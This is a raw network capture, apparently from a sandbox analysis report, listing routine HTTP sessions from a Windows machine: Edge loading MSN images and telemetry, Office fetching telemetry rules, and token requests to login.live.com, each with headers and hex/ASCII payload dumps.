2024-11-26 21:53:01 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=159592 Expires: Thu, 28 Nov 2024 18:12:53 GMT Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	49919	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:02 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=358535 Expires: Sun, 01 Dec 2024 01:28:36 GMT Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	49921	23.200.3.33	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:53:02 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=257031 Expires: Fri, 29 Nov 2024 21:16:52 GMT Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	49915	52.168.117.170	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732657979621&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3781 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
2024-11-26 21:53:01 UTC	3781	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 36 54 32 31 3a 35 32 3a 35 39 2e 36 31 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 36 37 30 35 32 38 37 2d 33 34 33 36 2d 34 61 62 65 2d 38 36 62 32 2d 66 63 36 36 38 33 35 66 37 39 31 39 22 2c 22 65 70 6f 63 68 22 3a 22 31 30 33 37 39 36 35 38 31 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-26T21:52:59.616Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"06705287-3436-4abe-86b2-fc66835f7919","epoch":"1037965812"},"app":{"locale
2024-11-26 21:53:02 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=05e2db34c6b44ce488332a48d039f8d6&HASH=05e2&LV=202411&V=4&LU=1732657981940; Domain=.microsoft.com; Expires=Wed, 26 Nov 2025 21:53:01 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d94bae3782f240ca94a4a49f1a61526e; Domain=.microsoft.com; Expires=Tue, 26 Nov 2024 22:23:01 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2319 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.7	49916	20.75.60.91	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:01 UTC	1068	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=0AACE1577F9E67D0137AF4147E876674&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=9d7d07b97cc14398be7bb346f3600e59 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=0AACE1577F9E67D0137AF4147E876674; _EDGE_S=F=1&SID=3BEE389716BD61AD26292DD41771604E; _EDGE_V=1
2024-11-26 21:53:02 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 26 Nov 2024 21:53:01 GMT Connection: close
2024-11-26 21:53:02 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.7	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:02 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dc0e935b-901e-005b-3791-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215302Z-174f7845968swgbqhC1EWRmnb40000000w5000000000e117 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:02 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49924	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 21:53:02 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-26 21:53:02 UTC	4774	OUT	Data Raw: 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e Data Ascii: ?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.
2024-11-26 21:53:03 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:52:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C522_BL2 x-ms-request-id: 0390615f-bcd5-43fc-820a-bf6ddfcc0977 PPServer: PPV: 30 H: BL02EPF0001D975 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:53:02 GMT Connection: close Content-Length: 11409
2024-11-26 21:53:03 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:53:02 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:53:02 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215302Z-174f7845968cpnpfhC1EWR3afc0000000vhg00000000q6tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:53:02 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49925	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:53:02 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-26 21:53:02 UTC	1	OUT	Data Raw: 3c Data Ascii: <
2024-11-26 21:53:02 UTC	4774	OUT	Data Raw: 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e Data Ascii: ?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.
2024-11-26 21:53:03 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:52:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: 8f5b00ff-6e4c-4d55-aff9-3e50bc5f5937 PPServer: PPV: 30 H: PH1PEPF0001B693 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:53:02 GMT Connection: close Content-Length: 1918
